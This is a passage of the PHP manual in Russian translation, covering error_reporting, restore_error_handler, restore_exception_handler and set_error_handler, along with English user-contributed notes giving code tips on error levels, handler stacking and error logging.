  error_reporting(E_ERROR | E_WARNING | E_PARSE);

  function myErrorHandler($errno, $errstr, $errfile, $errline) {
    // Do something other than output message.
    return true;
  }

  $old_error_handler = set_error_handler("myErrorHandler");

  require "this file does not exist";
?>

To prevent this, simply include E_COMPILE_ERROR in the error_reporting.

<?php
  error_reporting(E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);
?>
rojaro at gmail dot com 06-Dec-2010 02:55
To enable error reporting for *ALL* error messages including every error level (including E_STRICT, E_NOTICE etc.), simply use:

<?php error_reporting(-1); ?>
keithm at aoeex dot com 14-Jun-2010 10:23
Some E_STRICT errors seem to be thrown during the page's compilation process.  This means they cannot be disabled by dynamically altering the error level at run time within that page.

The work-around for this was to rename the file and replace the original with a error_reporting() call and then a require() call.

Ex, rename index.php to index.inc.php, then re-create index.php as:

<?php
error_reporting(E_ALL & ~(E_STRICT|E_NOTICE));
require('index.inc.php');
?>

That allows you to alter the error reporting prior to the file being compiled.

I discovered this recently when I was given code from another development firm that triggered several E_STRICT errors and I wanted to disable E_STRICT on a per-page basis.
roberto at spadim dot com dot br 29-Jan-2010 01:00
see more information about php 5.3 deprecated errors

http://php.net/manual/en/migration53.deprecated.php
misplacedme at gmail dot com 09-Jun-2009 02:25
I always code with E_ALL set.
After a couple of pages of
<?php
$username = (isset($_POST['username']) && !empty($_POST['username']))....
?>

I made this function to make things a little bit quicker.  Unset values passed by reference won't trigger a notice.

<?php
function test_ref(&$var,$test_function='',$negate=false) {
    $stat = true;
    if(!isset($var)) $stat = false;
    if (!empty($test_function) && function_exists($test_function)){
        $stat = $test_function($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif($test_function == 'empty') {
        $stat = empty($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif (!function_exists($test_function)) {
        $stat = false;
        trigger_error("$test_function() is not a valid function");
    }
    $stat = ($stat) ? true : false;
    return $stat;
}
$a = '';
$b = '15';

test_ref($a,'empty',true);  //False
test_ref($a,'is_int');  //False
test_ref($a,'is_numeric');  //False
test_ref($b,'empty',true);  //true
test_ref($b,'is_int');  //False
test_ref($b,'is_numeric');  //false
test_ref($unset,'is_numeric');  //false
test_ref($b,'is_number');  //returns false, with an error.
?>
ecervetti at orupaca dot fr 25-Mar-2009 01:54
It could save two minutes to someone:
E_ALL & ~E_NOTICE  integer value is 6135
Daz Williams (The Northeast) 18-Feb-2009 06:03
Only display php errors to the developer...

<?php
if($_SERVER['REMOTE_ADDR']=="00.00.00.00")
{
  ini_set('display_errors','On');
}
else
{
  ini_set('display_errors','Off');
}
?>

Just replace 00.00.00.00 with your ip address.
info at hephoz dot de 14-Aug-2008 06:34
If you just see a blank page instead of an error reporting and you have no server access so you can't edit php configuration files like php.ini try this:

- create a new file in which you include the faulty script:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

- execute this file instead of the faulty script file

now errors of your faulty script should be reported.
this works fine with me. hope it solves your problem as well!
kc8yds at gmail dot com 10-Aug-2008 11:45
this is to show all errors for code that may be run on different versions

for php 5 it shows E_ALL^E_STRICT and for other versions just E_ALL

if anyone sees any problems with it please correct this post

<?php
ini_set('error_reporting', version_compare(PHP_VERSION,5,'>=') && version_compare(PHP_VERSION,6,'<') ?E_ALL^E_STRICT:E_ALL);
?>
Alex 19-Jan-2007 03:43
error_reporting() may give unexpected results if the @ error suppression directive is used.

<?php
 @include 'config.php';
 include 'foo.bar';        // non-existent file
?>

config.php
<?php
 error_reporting(0);
?>

will throw an error level E_WARNING in relation to the non-existent file (depending of course on your configuration settings).  If the suppressor is removed, this works as expected.

Alternatively using ini_set('display_errors', 0) in config.php will achieve the same result.  This is contrary to the note above which says that the two instructions are equivalent.
dave at davidhbrown dot us 06-Apr-2006 08:51
The example of E_ALL ^ E_NOTICE is a 'bit' confusing for those of us not wholly conversant with bitwise operators.

If you wish to remove notices from the current level, whatever that unknown level might be, use & ~ instead:

<?php
//....
$errorlevel=error_reporting();
error_reporting($errorlevel & ~E_NOTICE);
//...code that generates notices
error_reporting($errorlevel);
//...
?>

^ is the xor (bit flipping) operator and would actually turn notices *on* if they were previously off (in the error level on its left). It works in the example because E_ALL is guaranteed to have the bit for E_NOTICE set, so when ^ flips that bit, it is in fact turned off. & ~ (and not) will always turn off the bits specified by the right-hand parameter, whether or not they were on or off.
DarkGool 19-Aug-2005 10:30
In phpinfo() error reporting level display like a bit (such as 4095)

Maybe it is a simply method to understand what a level set on your host
if you are not have access to php.ini file

<?php
$bit = ini_get('error_reporting');
while ($bit > 0) {
    for($i = 0, $n = 0; $i <= $bit; $i = 1 * pow(2, $n), $n++) {
        $end = $i;
    }
    $res[] = $end;
    $bit = $bit - $end;
}
?>

In $res you will have all constants of error reporting
$res[]=int(16) // E_CORE_ERROR
$res[]=int(8)    // E_NOTICE
...
fredrik at demomusic dot nu 22-Jul-2005 04:24
Remember that the error_reporting value is an integer, not a string ie "E_ALL & ~E_NOTICE".

This is very useful to remember when setting error_reporting levels in httpd.conf:

Use the table above or:

<?php
ini_set("error_reporting", E_YOUR_ERROR_LEVEL);
echo ini_get("error_reporting");
?>

To get the appropriate integer for your error-level. Then use:

php_admin_value error_reporting YOUR_INT

in httpd.conf

I want to share this rather straightforward tip as it is rather annoying for new php users trying to understand why things are not working when the error-level is set to (int) "E_ALL" = 0...

Maybe the PHP-developers should make ie error_reporting("E_ALL"); output a E_NOTICE informative message about the mistake?
vdephily at bluemetrix dot com 22-Feb-2005 03:40
Note that E_NOTICE will warn you about uninitialized variables, but assigning a key/value pair counts as initialization, and will not trigger any error :
<?php
error_reporting(E_ALL);

$foo = $bar; //notice : $bar uninitialized

$bar['foo'] = 'hello'; // no notice, although $bar itself has never been initialized (with "$bar = array()" for example)

$bar = array('foobar' => 'barfoo');
$foo = $bar['foobar'] // ok

$foo = $bar['nope'] // notice : no such index
?>
Fernando Piancastelli 13-Dec-2004 01:23
The error_reporting() function won't be effective if your display_errors directive in php.ini is set to "Off", regardless of level reporting you set. I had to set

display_errors = On
error_reporting = ~E_ALL

to keep no error reporting as default, but be able to change error reporting level in my scripts.
I'm using PHP 4.3.9 and Apache 2.0.
j dot schriver at vindiou dot com 02-Oct-2000 11:37
error_reporting() has no effect if you have defined your own error handler with set_error_handler()

[Editor's Note: This is not quite accurate.

E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR and E_COMPILE_WARNING error levels will be handled as per the error_reporting settings.

All other levels of errors will be passed to the custom error handler defined by set_error_handler().

Zeev Suraski suggests that a simple way to use the defined levels of error reporting with your custom error handlers is to add the following line to the top of your error handling function:

if (!($type & error_reporting())) return;

 -zak@php.net]


Восстанавливает предыдущий обработчик ошибок

  • « error_reporting
  • restore_exception_handler »
  • PHP Manual
  • Функции обработки ошибок
  • Восстанавливает предыдущий обработчик ошибок

restore_error_handler

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

restore_error_handler — Восстанавливает предыдущий обработчик ошибок

Описание

restore_error_handler(): true

Используется после смены обработчика ошибок функцией set_error_handler(), чтобы вернуть предыдущий обработчик (который может быть как встроенной функцией, так и определённой пользователем).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция всегда возвращает true.

Примеры

Пример #1 Пример использования restore_error_handler()

Определение, произошла ли ошибка в функции unserialize(), а затем восстановление исходного обработчика ошибок.

<?php
function unserialize_handler($errno, $errstr)
{
echo "Сериализуемое значение недопустимо.\n";
}

$serialized = 'foo';
set_error_handler('unserialize_handler');
$original = unserialize($serialized);
restore_error_handler();
?>

Результат выполнения данного примера:

Сериализуемое значение недопустимо.

Смотрите также

  • error_reporting() - Задаёт, какие ошибки PHP попадут в отчёт
  • set_error_handler() - Задаёт пользовательский обработчик ошибок
  • restore_exception_handler() - Восстанавливает предыдущий обработчик исключений
  • trigger_error() - Вызывает пользовательскую ошибку/предупреждение/уведомление

User Contributed Notes

masterada at gmail dot com 27-Mar-2017 01:45
Calling restore_error_handler from within an error handler might result in unexpected behaviour:

<?php
error_reporting(0);

set_error_handler('handleError1');
trigger_error('1-stack:h1');

set_error_handler('handleError2');
trigger_error('2-stack:h1,h2');

trigger_error('6-stack:h1,h2');
trigger_error('7-stack:h1,h2');

function handleError1($code, $message, $file = '', $line = 0, $context = array())
{
    echo  __METHOD__ . ' ' . $message . PHP_EOL;
}

function handleError2($code, $message, $file = '', $line = 0, $context = array())
{
    trigger_error('3-DEFAULT'); // This will use the php's default error handler

    echo  __METHOD__ . ' ' . $message . PHP_EOL;

    set_error_handler('handleError3');
    trigger_error('4-stack:h1,h2,h3');

    restore_error_handler(); // This will restore the handleError1 instead of the default error handler
    trigger_error('5-DEFAULT');
}

function handleError3($code, $message, $file = '', $line = 0, $context = array())
{
    echo  __METHOD__ . ' ' . $message . PHP_EOL;
}

?>

The above code will output:

handleError1 1-stack:h1
handleError2 2-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError1 5-DEFAULT
handleError1 6-stack:h1,h2
handleError1 7-stack:h1,h2

The following workaround can be used:

<?php

error_reporting(0);

set_error_handler('handleError1');
trigger_error('1-stack:h1');

set_error_handler('handleError2');
trigger_error('2-stack:h1,h2');

trigger_error('6-stack:h1,h2');
trigger_error('7-stack:h1,h2');

function handleError1($code, $message, $file = '', $line = 0, $context = array())
{
    echo __METHOD__ . ' ' . $message . PHP_EOL;
}

function handleError2($code, $message, $file = '', $line = 0, $context = [])
{
    restore_error_handler(); // This will restore the previous error handler
    set_error_handler('count', 0); // Set a dummy method for error handling, it will never be called because $error_type = 0
    try
    {
        trigger_error('3-DEFAULT');

        echo __METHOD__ . ' ' . $message . PHP_EOL;

        set_error_handler('handleError3');
        trigger_error('4-stack:h1,h2,h3');

        restore_error_handler();
        trigger_error('5-DEFAULT');
    }
    finally
    {
        restore_error_handler(); // Restore the previous error handler
        set_error_handler('handleError2'); // Set the current error handler again
    }
}

function handleError3($code, $message, $file = '', $line = 0, $context = [])
{
    echo __METHOD__ . ' ' . $message . PHP_EOL;
}
?>

which will output:

handleError1 1-stack:h1
handleError2 2-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError2 6-stack:h1,h2
handleError3 4-stack:h1,h2,h3
handleError2 7-stack:h1,h2
handleError3 4-stack:h1,h2,h3
TiMESPLiNTER 27-Apr-2015 10:39
Works also for restoring nested error handlers:

<?php

error_reporting(E_ALL);

echo '<pre>';

set_error_handler(function($errno, $errstr, $errfile, $errline, array $errcontext) {
    echo 'ErrorHandler 1: ' , $errstr , PHP_EOL;
});

trigger_error('Error 1');

set_error_handler(function($errno, $errstr, $errfile, $errline, array $errcontext) {
    echo 'ErrorHandler 2: ' , $errstr , PHP_EOL;
});

trigger_error('Error 2');

restore_error_handler();

trigger_error('Error 3');

restore_error_handler();

trigger_error('Error 4');

?>
edgarinvillegas at hotmail dot com 28-Mar-2008 08:21
Isolde is kind of wrong. The error handlers are stacked with set_error_handler(), and popped with restore_error_handler(). Here i put an example:

<?php
    mysql_connect("inexistent"); //Generate an error. The actual error handler is set by default

    function foo1() {echo "<br>Error foo1<br>";}
    function foo2() {echo "<br>Error foo2<br>";}
    function foo3() {echo "<br>Error foo3<br>";}

    set_error_handler("foo1");    //current error handler: foo1
    set_error_handler("foo2");    //current error handler: foo2
    set_error_handler("foo3");    //current error handler: foo3

    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo2
    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo1
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler (The stack can't pop more)
?>
lsole at maresme dot net 14-Mar-2004 11:57
As the docs say, restore_error_handler() revert to the *previous error handler*... even if it is the same. A bug made me set twice my custom error handler and later when I was calling restore_error_handler() to restore the built-in handler nothing seemed to happen... this puzzled me for a while!


Восстанавливает предыдущий обработчик исключений

  • « restore_error_handler
  • set_error_handler »
  • PHP Manual
  • Функции обработки ошибок
  • Восстанавливает предыдущий обработчик исключений

restore_exception_handler

(PHP 5, PHP 7, PHP 8)

restore_exception_handler — Восстанавливает предыдущий обработчик исключений

Описание

restore_exception_handler(): true

Используется после смены обработчика исключений функцией set_exception_handler(), чтобы вернуть предыдущий обработчик (который может быть как встроенной функцией, так и определённой пользователем).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция всегда возвращает true.

Примеры

Пример #1 Пример использования restore_exception_handler()

<?php
function exception_handler_1(Exception $e)
{
echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
}

function exception_handler_2(Exception $e)
{
echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
}

set_exception_handler('exception_handler_1');
set_exception_handler('exception_handler_2');

restore_exception_handler();

throw new Exception('Вызван первый обработчик исключений...');
?>

Результат выполнения данного примера:

[exception_handler_1] Вызван первый обработчик исключений...

Смотрите также

  • set_exception_handler() - Задаёт пользовательский обработчик исключений
  • set_error_handler() - Задаёт пользовательский обработчик ошибок
  • restore_error_handler() - Восстанавливает предыдущий обработчик ошибок
  • error_reporting() - Задаёт, какие ошибки PHP попадут в отчёт

User Contributed Notes

rl7 at shinyblue dot net 24-Feb-2014 10:57
Note that this does not work within an exception handler.

e.g.

<?php

function handler1(Exception $e) {
    echo "handler1\n";
    restore_exception_handler();
    throw $e;
}
function handler2(Exception $e) {
    echo "handler2\n";
}

set_exception_handler( 'handler2' );
set_exception_handler( 'handler1' );

throw new Exception( 'might expect to see handler1, handler2' );

/* Outputs:
handler1
PHP Fatal error:  Uncaught exception 'Exception' with message 'might expect to see handler1, handler2' in /tmp/demo.php:15
Stack trace:
#0 {main}
  thrown in /tmp/demo.php on line 15
*/

?>


Задаёт пользовательский обработчик ошибок

  • « restore_exception_handler
  • set_exception_handler »
  • PHP Manual
  • Функции обработки ошибок
  • Задаёт пользовательский обработчик ошибок

set_error_handler

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

set_error_handler — Задаёт пользовательский обработчик ошибок

Описание

set_error_handler(?callable $callback, int $error_levels = E_ALL): ?callable

Задаёт пользовательскую функцию (callback), как обработчик ошибок в скрипте.

Функция может быть использована для определения пользовательских обработчиков ошибок во время выполнения, например, в приложениях, которые должны выполнять очистку файлов/данных в случае возникновения критической ошибки или при инициировании ошибки в ответ на определённые условия (используя функцию trigger_error()).

Важно помнить, что стандартный обработчик ошибок PHP не будет обрабатывать никакие типы ошибок, определённые в error_levels, пока callback-функция не вернёт false. Пользовательский обработчик будет вызываться в случае возникновения любой ошибки, независимо от настроек, заданных функцией error_reporting.

Также обратите внимание, что обработчик обязан при необходимости остановить выполнение скрипта, вызвав функцию exit(). Если происходит возврат из обработчика ошибок, управление передаётся следующему выражению, стоящему за тем, что вызвало ошибку.

Ошибки следующих типов не могут быть обработаны пользователем: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING независимо от того, где они были сгенерированы и большинство ошибок E_STRICT, произошедших в файле, где вызвана функция set_error_handler().

Если ошибки возникают до запуска скрипта (например, пока файл загружается), пользовательский обработчик не будет вызываться, если на этот момент он ещё не зарегистрирован.

Список параметров

callback

Если передано значение null, обработчик сбрасывается в состояние по умолчанию. В противном случае обработчик представляет собой callback-функцию со следующей сигнатурой:

handler(
int $errno,
string $errstr,
string $errfile = ?,
int $errline = ?,
array $errcontext = ?
): bool
errno
В первый аргумент errno будет передан уровень ошибки в виде целого числа.
errstr
Во второй аргумент errstr будет передано сообщение об ошибке в виде строки.
errfile
Если функция обратного вызова принимает третий параметр errfile, то в него будет передано имя файла, в котором произошла ошибка, в виде строки.
errline
Если функция обратного вызова принимает четвёртый параметр errline, то в него будет передан номер строки, в которой произошла ошибка, в виде целого числа.
errcontext
Если функция обратного вызова принимает пятый параметр errcontext, то в него будет передан массив указателей на активную таблицу символов в точке, где произошла ошибка. Другими словами, errcontext будет содержать массив всех переменных, существующих в области видимости, где произошла ошибка. Пользовательские обработчики ошибок не должны изменять этот контекст.
Внимание

Этот параметр объявлен УСТАРЕВШИМ начиная с PHP 7.2.0 и был УДАЛЁН в PHP 8.0.0. Если в вашей функции этот параметр используется и для него не задано значение по умолчанию, то при вызове функции обработчика будет выдана ошибка "too few arguments".

Если функция возвращает false, управление передаётся встроенному обработчику ошибок.

error_levels

Может использоваться для задания маски, в соответствии с которой будет вызываться callback, по аналогии с ini-настройкой error_reporting, которая отвечает за то, какие ошибки будут показаны в отчёте. Без этой маски callback будет вызываться для обработки всех происходящих ошибок, вне зависимости от настроек в error_reporting.

Возвращаемые значения

Возвращает ранее определённый обработчик ошибок (если есть) Если на данный момент используется встроенный обработчик, функция вернёт null. Если предыдущий определённый обработчик является методом класса, функция вернёт массив, содержащий имя класса и имя метода.

Список изменений

Версия | Описание
8.0.0 | Параметр errcontext был удалён и больше не передаётся в пользовательскую функцию обработки ошибок.
7.2.0 | Параметр errcontext объявлен устаревшим. Теперь при его использовании будет вызываться ошибка уровня E_DEPRECATED.

Примеры

Пример #1 Обработка ошибок с помощью функций set_error_handler() и trigger_error()

Пример ниже демонстрирует обработку внутренних исключений путём вызова ошибок разных типов и их обработки пользовательской функцией:

<?php
// функция обработки ошибок
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
if (!(error_reporting() & $errno)) {
// Этот код ошибки не включён в error_reporting,
// так что пусть обрабатываются стандартным обработчиком ошибок PHP
return false;
}

// может потребоваться экранирование $errstr:
$errstr = htmlspecialchars($errstr);

switch ($errno) {
case E_USER_ERROR:
echo "<b>Пользовательская ОШИБКА</b> [$errno] $errstr<br />\n";
echo " Фатальная ошибка в строке $errline файла $errfile";
echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
echo "Завершение работы...<br />\n";
exit(1);

case E_USER_WARNING:
echo "<b>Пользовательское ПРЕДУПРЕЖДЕНИЕ</b> [$errno] $errstr<br />\n";
break;

case E_USER_NOTICE:
echo "<b>Пользовательское УВЕДОМЛЕНИЕ</b> [$errno] $errstr<br />\n";
break;

default:
echo "Неизвестная ошибка: [$errno] $errstr<br />\n";
break;
}

/* Не запускаем внутренний обработчик ошибок PHP */
return true;
}

// функция для тестирования обработчика ошибок
function scale_by_log($vect, $scale)
{
if (!is_numeric($scale) || $scale <= 0) {
trigger_error("log(x) для x <= 0 не определён, вы используете: scale = $scale", E_USER_ERROR);
}

if (!is_array($vect)) {
trigger_error("Некорректный входной вектор, пропущен массив значений", E_USER_WARNING);
return null;
}

$temp = array();
foreach($vect as $pos => $value) {
if (!is_numeric($value)) {
trigger_error("Значение на позиции $pos не является числом, будет использован 0 (ноль)", E_USER_NOTICE);
$value = 0;
}
$temp[$pos] = log($scale) * $value;
}

return $temp;
}

// переключаемся на пользовательский обработчик
$old_error_handler = set_error_handler("myErrorHandler");

// вызовем несколько ошибок, во-первых, определим массив с нечисловым элементом
echo "vector a\n";
$a = array(2, 3, "foo", 5.5, 43.3, 21.11);
print_r($a);

// теперь создадим ещё один массив
echo "----\nvector b - a notice (b = log(PI) * a)\n";
/* Значение на позиции $pos не является числом, будет использован 0 (ноль)*/
$b = scale_by_log($a, M_PI);
print_r($b);

// проблема, мы передаём строку вместо массива
echo "----\nvector c - a warning\n";
/* Некорректный входной вектор, пропущен массив значений */
$c = scale_by_log("not array", 2.3);
var_dump($c); // NULL

// критическая ошибка, логарифм от неположительного числа не определён
echo "----\nvector d - fatal error\n";
/* log(x) для x <= 0 не определён, вы используете: scale = $scale */
$d = scale_by_log($a, -2.5);
var_dump($d); // До сюда не дойдём никогда
?>

Результатом выполнения данного примера будет что-то подобное:

vector a
Array
(
    [0] => 2
    [1] => 3
    [2] => foo
    [3] => 5.5
    [4] => 43.3
    [5] => 21.11
)
----
vector b - a notice (b = log(PI) * a)
<b>Пользовательское УВЕДОМЛЕНИЕ</b> [1024]  Значение на позиции 2 не является числом, будет использован 0 (ноль)<br />
Array
(
    [0] => 2.2894597716988
    [1] => 3.4341896575482
    [2] => 0
    [3] => 6.2960143721717
    [4] => 49.566804057279
    [5] => 24.165247890281
)
----
vector c - a warning
<b>Пользовательское ПРЕДУПРЕЖДЕНИЕ</b> [512] Некорректный входной вектор, пропущен массив значений<br />
NULL
----
vector d - fatal error
<b>Пользовательская ОШИБКА</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />
  Фатальная ошибка в строке 35 файла trigger_error.php, PHP 5.2.1 (FreeBSD)<br />
Завершение работы...<br />

Смотрите также

  • ErrorException
  • error_reporting() - Задаёт, какие ошибки PHP попадут в отчёт
  • restore_error_handler() - Восстанавливает предыдущий обработчик ошибок
  • trigger_error() - Вызывает пользовательскую ошибку/предупреждение/уведомление
  • Константы уровней ошибок

User Contributed Notes

RGraph 25-Feb-2023 10:20
A simple error handler that makes errors far more visible:

    //
    // Set the error handler to one that prints out more
    // visible errors
    //
    set_error_handler(function ($errno, $errstr)
    {
        $str = '<div style="margin: 20px; background-color: #fdd; border: 3px solid red; padding: 10px; border-radius: 15px; line-height: 25px"><b>Error: </b>%s (error level: %s)</div>';

        printf($str, $errstr, $errno);
    });
kaioker 01-Dec-2021 11:20
super simple error code to human readable conversion:

function prettycode($code){
    return $code == 0 ? "FATAL" : array_search($code, get_defined_constants(true)['Core']);
}
Alex M 27-May-2021 11:37
If you are new to programming and you would like to know how to add a combination of those error reporting values to .htaccess file. Here's a small guide.

With PHP function error_reporting we can add together option with bitwise add operator | . But we can't use those constants in htaccess file and in my case I have no idea how to add bitwise number.

So, solution can be casting selected options to int:

echo (int)(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR) ;
->263

Then you can use 263 in .htaccess

php_value error_reporting 263

In my case I needed those errors to be displayed for my debugging server. But the combination can be different from mine.
David Spector 11-Oct-2020 01:02
The PHP manual is not very clear about how to handle @ operator error messages.

Here is working code:

    // Do nothing if @ operator
    $errLevel=error_reporting(E_ALL);
    if ($errLevel===0)
        return true; // ignore @ prefixed expression errors
a dot ross at amdev dot eu 20-Dec-2018 01:54
I'm missing a way to chain error handlers. It's not something offered by set_error_handler. You have to jump through some hoops to get it to work, but it *is* quite possible, by making use of the return value of the function. Here's an example:

<?
$previous = set_error_handler(function ($errno, $errstr, $errfile, $errline, $errcontext) use (&$previous) {
    /* Your custom error handling code here. */

    // If another error handler was defined, call it.
    if ($previous) {
        return $previous($errno, $errstr, $errfile, $errline, $errcontext);
    } else {
        // Use the standard PHP error handler.
        return false;
    }
});
?>
steve962 at gmail dot com 16-Mar-2018 04:06
Be careful when using the return value to this function.   Because it returns the old handler, you may be tempted to do something like:

<?php
function do_something()
    {
    $old = set_error_handler("my_error_handler");
    // Do something you want handled by my_error_handler
    set_error_handler($old);
    }
?>

This will work, but it will bite you because each time you do this, it will cause a memory leak as the old error handler is put on a stack for the restore_error_handler() function to use.

So always restore the old error handler using that function instead:

<?php
function do_something()
    {
    set_error_handler("my_error_handler");
    // Do something you want handled by my_error_handler
    restore_error_handler();
    }
?>
Klauss 12-Sep-2017 04:36
Hi everyone. I don't know if it is an old behavior of previous versions, but currently you can set exception and error handlers as private or protected methos, if, only if, you call `set_exception_handler()` or `set_error_handler()` within a context that can access the method.

Example:
    <?PHP
        $Handler = new class ()
        {
            public function __construct ()
            {
                set_error_handler([&$this, 'HandleError']);
                set_exception_handler([&$this, 'HandleException']);
            }
            protected function HandleError ( $Code, $Message, $File = null, $Line = 0, $Context = [] )
            {
                // Handle error here.
            }
            private function HandleException ( $Exception )
            {
                // Handle exception here.
            }
        }
    ?>

NOTE: these methods must match the callbacks parameters signatures.
chris at ocproducts dot com 04-Aug-2016 10:53
Note that error handlers don't run recursively. If you have an error while an error handler is running (in the error handler itself or code called from it) then you won't get the error handler called again.

This has subtle ramifications for $php_errormsg. If you are relying on your error handler to suppress certain kinds of error message from going into $php_errormsg (via return true; because error_reporting doesn't affect $php_errormsg setting) then this will not work for any code called within that error handler.
aditycse at gmail dot com 12-Jan-2016 07:36
<?php
/**
 * Used for logging all php notices,warings and etc in a file when error reporting
 * is set and display_errors is off
 * @uses used in prod env for logging all type of error of php code in a file for further debugging
 * and code performance
 * @author Aditya Mehrotra<aditycse@gmail.com>
 */
error_reporting(E_ALL);
ini_set("display_errors", "off");
define('ERROR_LOG_FILE', '/var/www/error.log');

/**
 * Custom error handler
 * @param integer $code
 * @param string $description
 * @param string $file
 * @param interger $line
 * @param mixed $context
 * @return boolean
 */
function handleError($code, $description, $file = null, $line = null, $context = null) {
    $displayErrors = ini_get("display_errors");
    $displayErrors = strtolower($displayErrors);
    if (error_reporting() === 0 || $displayErrors === "on") {
        return false;
    }
    list($error, $log) = mapErrorCode($code);
    $data = array(
        'level' => $log,
        'code' => $code,
        'error' => $error,
        'description' => $description,
        'file' => $file,
        'line' => $line,
        'context' => $context,
        'path' => $file,
        'message' => $error . ' (' . $code . '): ' . $description . ' in [' . $file . ', line ' . $line . ']'
    );
    return fileLog($data);
}

/**
 * This method is used to write data in file
 * @param mixed $logData
 * @param string $fileName
 * @return boolean
 */
function fileLog($logData, $fileName = ERROR_LOG_FILE) {
    $fh = fopen($fileName, 'a+');
    if (is_array($logData)) {
        $logData = print_r($logData, 1);
    }
    $status = fwrite($fh, $logData);
    fclose($fh);
    return ($status) ? true : false;
}

/**
 * Map an error code into an Error word, and log location.
 *
 * @param int $code Error code to map
 * @return array Array of error word, and log location.
 */
function mapErrorCode($code) {
    $error = $log = null;
    switch ($code) {
        case E_PARSE:
        case E_ERROR:
        case E_CORE_ERROR:
        case E_COMPILE_ERROR:
        case E_USER_ERROR:
            $error = 'Fatal Error';
            $log = LOG_ERR;
            break;
        case E_WARNING:
        case E_USER_WARNING:
        case E_COMPILE_WARNING:
        case E_RECOVERABLE_ERROR:
            $error = 'Warning';
            $log = LOG_WARNING;
            break;
        case E_NOTICE:
        case E_USER_NOTICE:
            $error = 'Notice';
            $log = LOG_NOTICE;
            break;
        case E_STRICT:
            $error = 'Strict';
            $log = LOG_NOTICE;
            break;
        case E_DEPRECATED:
        case E_USER_DEPRECATED:
            $error = 'Deprecated';
            $log = LOG_NOTICE;
            break;
        default :
            break;
    }
    return array($error, $log);
}

//calling custom error handler
set_error_handler("handleError");

print_r($arra); //undefined variable
print_r($dssdfdfgg); //undefined variable
include_once 'file.php'; //No such file or directory
?>
dannykopping at gmail dot com 16-Feb-2014 09:52
Keep in mind that, when attempting to set a statically-defined error handler on a namespaced class in PHP >= 5.3, you need to use the class namespace:

<?php
set_error_handler('\\My\\Namespace\\Bob::errorHandler');
?>
jtrick77 at gmail dot com 30-Oct-2013 09:13
For anyone interested in the actual translated error codes and their meanings:

1    E_ERROR (integer)     Fatal run-time errors. These indicate errors that can not be recovered from, such as a memory allocation problem. Execution of the script is halted.
2    E_WARNING (integer)     Run-time warnings (non-fatal errors). Execution of the script is not halted.
4    E_PARSE (integer)     Compile-time parse errors. Parse errors should only be generated by the parser.
8    E_NOTICE (integer)     Run-time notices. Indicate that the script encountered something that could indicate an error, but could also happen in the normal course of running a script.
16    E_CORE_ERROR (integer)     Fatal errors that occur during PHP's initial startup. This is like an E_ERROR, except it is generated by the core of PHP.
32    E_CORE_WARNING (integer)     Warnings (non-fatal errors) that occur during PHP's initial startup. This is like an E_WARNING, except it is generated by the core of PHP.
64    E_COMPILE_ERROR (integer)     Fatal compile-time errors. This is like an E_ERROR, except it is generated by the Zend Scripting Engine.
128    E_COMPILE_WARNING (integer)     Compile-time warnings (non-fatal errors). This is like an E_WARNING, except it is generated by the Zend Scripting Engine.
256    E_USER_ERROR (integer)     User-generated error message. This is like an E_ERROR, except it is generated in PHP code by using the PHP function trigger_error().
512    E_USER_WARNING (integer)     User-generated warning message. This is like an E_WARNING, except it is generated in PHP code by using the PHP function trigger_error().
1024    E_USER_NOTICE (integer)     User-generated notice message. This is like an E_NOTICE, except it is generated in PHP code by using the PHP function trigger_error().
2048    E_STRICT (integer)     Enable to have PHP suggest changes to your code which will ensure the best interoperability and forward compatibility of your code.    Since PHP 5 but not included in E_ALL until PHP 5.4.0
4096    E_RECOVERABLE_ERROR (integer)     Catchable fatal error. It indicates that a probably dangerous error occurred, but did not leave the Engine in an unstable state. If the error is not caught by a user defined handle (see also set_error_handler()), the application aborts as it was an E_ERROR.    Since PHP 5.2.0
8192    E_DEPRECATED (integer)     Run-time notices. Enable this to receive warnings about code that will not work in future versions.    Since PHP 5.3.0
16384    E_USER_DEPRECATED (integer)     User-generated warning message. This is like an E_DEPRECATED, except it is generated in PHP code by using the PHP function trigger_error().    Since PHP 5.3.0
32767    E_ALL (integer)     All errors and warnings, as supported, except of level E_STRICT prior to PHP 5.4.0.     32767 in PHP 5.4.x, 30719 in PHP 5.3.x, 6143 in PHP 5.2.x, 2047 previously

(Copied from http://php.net/manual/en/errorfunc.constants.php)
nicolas dot grekas+php at gmail dot com 23-Oct-2013 09:34
If you want to be sure that the native PHP error handler is called without resetting the handler stack (as set_error_handler(null) does), you can simply call set_error_handler with $error_types set to zero. This can be especially use full in conjunction with e.g. error_get_last():

<?php

// var_dump or anything else, as this will never be called because of the 0
set_error_handler('var_dump', 0);
@$undef_var;
restore_error_handler();

// error_get_last() is now in a well known state:
// Undefined variable: undef_var

... // Do something

$e = error_get_last();

...

?>
phil at propcom dot co dot uk 18-Sep-2013 08:38
It is important to note that the registered SPL autoloader will NOT be called if an E_STRICT error triggers the error handler which, in turn, tries to use classes which are not yet loaded.

In this instance, you should manually load classes required by the error handler.
elad dot yosifon at gmail dot com 01-Aug-2013 11:42
<?php
/**
 * throw exceptions based on E_* error types
 */
set_error_handler(function ($err_severity, $err_msg, $err_file, $err_line, array $err_context)
{
    // error was suppressed with the @-operator
    if (0 === error_reporting()) { return false;}
